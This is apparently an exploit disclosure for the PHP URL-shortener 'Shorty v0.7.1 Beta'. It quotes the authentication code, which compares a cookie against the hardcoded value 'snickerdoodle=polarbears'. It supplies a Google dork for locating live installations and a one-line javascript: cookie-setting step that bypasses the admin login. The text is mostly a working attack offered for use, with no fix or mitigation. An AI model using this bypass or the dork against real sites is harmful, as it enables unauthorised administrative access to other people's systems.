Vulnerable Software -------------------------------------------------------------------------------- Script: Shorty v0.7.1 Beta (maybe other versions) URL:http://get-shorty.com/ Download:http://get-shorty.com/beta?force=download Google dork: intitle:"Shorty (Beta)" Bug -------------------------------------------------------------------------------- [functions.php] 45: function authenticate(){ 46: $cookie = @$_COOKIE['snickerdoodle']; 47: if($cookie == "polarbears"){ 48: // 49: } else { 50: exit("Not logged in."); 51: } 52: } 53: 54: function verify(){ 55: if(@$_COOKIE['snickerdoodle']){ 56: $cookie = $_COOKIE['snickerdoodle']; 57: } else { 58: $cookie = ''; 59: } 60: if($cookie == "polarbears"){ 61: return 1; 62: } else { 63: return 0; 64: } 65: } [/functions.php] Exploit -------------------------------------------------------------------------------- Write in the URL: javascript:document.cookie="snickerdoodle=polarbears"; in the admin login you want to bypass or create the cookie with you favorite Firefox extension.